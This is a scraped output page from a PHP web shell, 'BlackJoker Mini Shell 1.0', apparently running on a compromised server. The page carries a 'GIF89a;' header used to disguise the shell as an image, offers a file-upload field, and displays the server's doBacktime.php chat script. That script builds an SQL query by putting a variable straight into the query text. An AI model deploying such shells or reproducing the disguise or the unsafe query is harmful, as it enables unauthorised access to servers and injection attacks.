GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/chat/inc/classes/
Upload File :
Current File : /home/serb/www/chat/inc/classes/doBacktime.php

<?php
	if($numb)
	{
		if (($GLOBALS['fc_config']['backtimeMax'] != 0) && ($numb > $GLOBALS['fc_config']['backtimeMax']))
		$numb = $GLOBALS['fc_config']['backtimeMax'];
		$lastid = $this->sendBack(new Message('backt', null, $numb));

		$stmt = new Statement('SELECT SQL_CACHE id FROM '.$GLOBALS['fc_config']['db']['pref'].'messages WHERE command=\'msg\' AND toroomid=? AND created > DATE_SUB(NOW(),INTERVAL '.$numb.' MINUTE) ORDER BY id LIMIT 1',161);
		if(($rs = $stmt->process($this->roomid)) && ($rec = $rs->next()))
		{
			$firstid = $rec['id'];
			$stmt = new Statement('SELECT SQL_CACHE * FROM '.$GLOBALS['fc_config']['db']['pref'].'messages WHERE command=\'msg\' AND id>=? AND id<=? AND toroomid=? ORDER BY id',156);
			if($rs = $stmt->process($firstid, $lastid, $this->roomid))
			{
				while($rec = $rs->next())
				{
					$msg = new Message('msgb');
					$msg->created = $rec['created'];
					$msg->userid = $rec['userid'];
					$msg->roomid = $rec['roomid'];
					$msg->txt = $rec['txt'];
					$this->sendBack($msg);
				}
			}
		}
	}
?>

./BlackJoker Mini Shell 1.0